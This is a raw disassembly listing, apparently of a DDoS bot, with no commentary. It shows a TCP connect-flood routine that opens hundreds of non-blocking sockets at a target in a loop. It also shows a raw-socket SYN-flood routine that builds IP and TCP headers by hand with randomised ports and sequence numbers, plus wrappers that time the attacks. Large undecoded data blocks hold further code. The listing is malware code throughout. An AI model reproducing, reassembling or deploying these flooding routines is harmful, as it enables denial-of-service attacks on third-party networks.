loc_412E29:				; CODE XREF: sub_412B08+78j
					; sub_412B08+31Cj
		push	[ebp+var_20]
		call	dword_4CB6BC
		pop	esi


loc_412E33:				; CODE XREF: sub_412B08+5Bj
		call	dword_4CB57C
		mov	eax, ebx


loc_412E3B:				; CODE XREF: sub_412B08+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_412B08	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_412B08
		add	esp, 20h
		test	eax, eax
		jnz	short loc_412E8E
		push	1
		pop	eax


loc_412E8E:				; CODE XREF: ___:00412E89j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_412E9D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6721o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4CB6A415h, 0FFF88300h, 75FC4589h, 0B815FF5Fh
		dd 50004CB5h, 0FC44858Dh, 0DC68FFFFh, 50004362h, 8995E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h
		dd 59FFFF84h, 0E8905759h, 246DA45h, 6AF44D8Dh, 0FF335104h
		dd 5057026Ah, 0FFF45D89h, 4CB60415h
		db 0, 83h
word_412F4E	dw 0FFF8h		; DATA XREF: ___:off_43A83Co
		dd 15FF5D75h, 4CB5B8h, 44858D50h, 68FFFFFCh, 4362ACh, 891CE850h
		dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh
		dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah
		dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h,	846CE8C8h
		dd 5959FFFFh, 0D9CFE857h, 8D900246h, 0FFFE4885h, 15FF50FFh
		dd 4CB664h, 75FFF883h, 44858D55h, 68FFFFFCh, 43628Ch, 88B4E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h
		dd 575959FFh, 46D968E8h, 106A9002h, 57E4458Dh, 856EE850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 0B62415FFh, 8966004Ch
		dd 858DE645h, 0FFFFFE48h, 6415FF50h, 8B004CB6h,	4270A835h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	0E39805C6h
		dd 0FF45004Ch, 4CB62415h, 0D47D3900h, 0E39AA366h, 8966004Ch
		dd 4CE39C1Dh, 3D896600h, 4CE39Eh, 0E3A005C6h, 8880004Ch
		dd 4CE3A11Dh, 3D896600h, 4CE3A2h, 33E83074h, 8B000088h
		dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h
		dd 8E3C1D8h, 8815E8h, 6AD80300h, 0A41D8901h, 5B004CE3h
		dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CB66415h
		dd 0E3A4A300h, 458B004Ch, 0E3A8A3E8h, 0E3E8004Ch, 99000087h
		dd 100B9h, 88F9F700h, 4CE3AC15h, 87D0E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4CE3ADh, 87BDE8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4CE3AE3Dh, 1D896600h, 4CE3B2h, 15896642h
		dd 4CE3B0h, 8795E8h, 0FFB99900h, 0F7000000h, 0B46852F9h
		dd 0E8004CE3h, 8430h, 8D0CC483h, 106AE445h, 1C685750h
		dd 68000004h, 4CE398h, 0FFFC75FFh, 4CB68815h, 0FFF88300h
		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 0BC15FFFCh, 0FF004CB6h
		dd 4CB5B815h, 858D5000h, 0FFFFFE48h, 500875FFh,	43624468h
		dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h
		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h,	0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 7EE89057h
		dd 0FF0246D7h, 15FFFC75h, 4CB6BCh, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 4361F868h
		dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 97E8C875h, 59FFFF81h, 0E8905759h, 246D6F9h
dword_413284	dd 0B8EC8B55h, 10320h, 888FE8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+550Fo
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 0AC15FF00h
		dd 89004CB5h, 858D0845h, 0FFFFFF40h, 6415FF50h,	8B004CB6h
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 0A815FF50h
		dd 3B004CB6h, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 3468FFFFh, 50004363h, 8589E8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh
		dd 46D63CE8h, 0C33B9002h, 408B0C74h, 8B008B0Ch,	0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4CB53Ch, 0C0753B46h,	75FFDA7Ch, 0DC15FF08h, 8D004CB6h
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 43630868h, 0BBE85000h
		dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h
		dd 59FFFF80h, 0E8905359h, 246D56Dh
dword_413410	dd 0B8EC8B55h, 10310h, 8703E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+575Bo
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0DA14E800h
		dd 50900241h, 8493E8h, 116A5900h, 26A026Ah, 0B6A415FFh
		dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h,	0C4830000h
		dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CB664h
		dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CB6A815h
		dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh,	8868FFFFh
		dd 50004363h, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h
		dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
		dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
		dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 0D48FE890h, 408B0246h
		dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh,	0DBE81175h
		dd 99000083h, 0FFDCB9h,	42F9F700h, 0FF03EB52h, 15FFDC75h
		dd 4CB624h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
		dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
		dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh,	838DE8h
		dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
		dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah,	106AF045h
		dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
		dd 0FEFCF085h, 0FF5350FFh, 4CB68815h, 0D875FF00h, 0CFC0E890h
		dd 754E0240h, 0DC7D39CEh, 2FE8BC75h, 99000083h,	0FFDCB9h
		dd 42F9F700h, 2415FF52h, 66004CB6h, 0EBF24589h,	50858DA1h
		dd 50FFFFFFh, 0FCCC858Dh, 5C68FFFFh, 50004363h,	82A5E8h
		dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh,	50E475FFh
		dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh
		dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h
		dd 575959FFh, 0D357E890h
		db 46h,	2
word_413626	dw 8B55h		; DATA XREF: sub_401ACD+4DECo
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 63B068FFh, 0E8500043h, 820Ah, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h,	5959FFFFh
		dd 0D2BBE856h, 5F900246h
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136C5	proc near		; CODE XREF: ___:004137AEp

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CB624
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413783
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_413710:				; CODE XREF: sub_4136C5+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413718:				; CODE XREF: sub_4136C5+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41373B
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah


loc_41373B:				; CODE XREF: sub_4136C5+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413718
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413749:				; CODE XREF: sub_4136C5+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_413749
		push	64h
		nop
		call	near ptr 2820566h
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41376D:				; CODE XREF: sub_4136C5+B4j
		push	dword ptr [esi]
		call	near ptr 71AB1A6Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_41376D
		dec	[ebp+arg_4]
		jnz	short loc_413710
		pop	edi
		pop	esi
		pop	ebx


loc_413783:				; CODE XREF: sub_4136C5+3Ej
		xor	eax, eax
		leave
		retn
sub_4136C5	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4136C5
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4137BD
		push	1
		pop	eax


loc_4137BD:				; CODE XREF: ___:004137B8j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_4137CC	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+6449o
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 4363DCh, 8064E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF7BB2h, 90565959h, 46D114E8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41386B	proc near		; CODE XREF: ___:00413B59p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB594
		test	eax, eax
		jz	short loc_4138AB
		xor	eax, eax
		jmp	loc_413B19
; ---------------------------------------------------------------------------


loc_4138AB:				; CODE XREF: sub_41386B+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB6C8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413B11
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CB604
		cmp	eax, 0FFFFFFFFh
		jz	loc_413B07
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CB624
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CB624
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CB624
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CB624
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 2940000h
		nop
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 2930989h
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_413996:				; CODE XREF: sub_41386B+25Dj
					; sub_41386B+26Bj
		mov	[ebp+var_24], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB624
		mov	[ebp+var_34], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CB624
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB620
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB624
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CB688
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413ADB
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 2930989h
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_413B04
		jl	loc_413996
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_413B04
		jmp	loc_413996
; ---------------------------------------------------------------------------


loc_413ADB:				; CODE XREF: sub_41386B+247j
		call	dword_4CB5B8
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_436404
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_413B07
; ---------------------------------------------------------------------------


loc_413B04:				; CODE XREF: sub_41386B+25Bj
					; sub_41386B+269j
		mov	ebx, [ebp+arg_8]


loc_413B07:				; CODE XREF: sub_41386B+78j
					; sub_41386B+297j
		push	[ebp+var_C]
		call	dword_4CB6BC
		pop	esi


loc_413B11:				; CODE XREF: sub_41386B+5Bj
		call	dword_4CB57C
		mov	eax, ebx


loc_413B19:				; CODE XREF: sub_41386B+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41386B	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41386B
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413B68
		push	1
		pop	eax


loc_413B68:				; CODE XREF: ___:00413B63j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413B77	db 55h			; DATA XREF: sub_401ACD+6E44o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7BD1h, 858D5059h, 0FFFFFE70h, 6415FF50h, 50004CB6h
		dd 5DE8h, 50595900h, 0FC6C858Dh, 2468FFFFh, 50004364h
		dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3E8F075h, 59FFFF78h,	0E8905659h, 246CD65h, 8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 930BE857h, 89590000h, 5057FC45h, 0B63815FFh, 75FF004Ch
		dd 0A815FFFCh, 8B004CB6h, 6A530C40h, 8B026A03h,	89008B00h
		dd 15FFF445h, 4CB6A4h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 415FFFCh, 0BE004CB6h, 200h, 77D3E856h, 3D8B0000h, 4270A8h
		dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0B62415FFh, 8966004Ch
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh,	0F9F7CB8Bh
		dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 7B52h,	0E0458966h, 7B49E8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 2415FF50h, 56004CB6h,	0E2458966h
		dd 0B62415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h,	0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0B68815FFh
		dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h,	0FFFC75FFh
		dd 4CB6BC15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_413E35	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+53E8o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270A8h
		dd 0E850D7FFh, 7A58h, 0FF6859h,	36A0000h, 15FF026Ah, 4CB6A4h
		dd 89FFF883h, 6675FC45h, 0B5B815FFh, 8D50004Ch,	0FFFBC085h
		dd 653C68FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh,	858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h
		dd 535959FFh, 0CA7FE890h, 4D8D0246h, 51046ACCh,	5053026Ah
		dd 0FFCC7589h, 4CB60415h, 0FFF88300h, 15FF6675h, 4CB5B8h
		dd 0C0858D50h, 68FFFFFBh, 436504h, 7958E850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 9FE8FFFFh, 59FFFF74h, 0E8905359h, 246CA01h, 0FDC4858Dh
		dd 0FF50FFFFh, 4CB66415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 4364E468h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h
		dd 0E8905359h, 246C991h, 458D106Ah, 0E85053BCh,	7598h
		dd 660CC483h, 2BC45C7h,	15FF5300h, 4CB624h, 0BE458966h
		dd 0FDC4858Dh, 0FF50FFFFh, 4CB66415h, 0C0458900h, 0FF085D89h
		dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
		dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0B62415FFh
		dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
		dd 80DC45C6h, 6DD45C6h,	0DE5D8966h, 73E82D74h, 8B000078h
		dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h
		dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
		dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0B66415FFh, 4589004Ch
		dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h
		dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 2415FFFFh
		dd 66004CB6h, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h
		dd 2415FF52h, 68004CB6h, 12345678h, 0E8458966h,	0B62015FFh
		dd 4589004Ch, 44858DECh, 68FFFFFEh, 42B24Ch, 77EEE850h
		dd 85590000h, 97459C0h,	0C6F05D89h, 0EB02F545h,	44858D5Ch
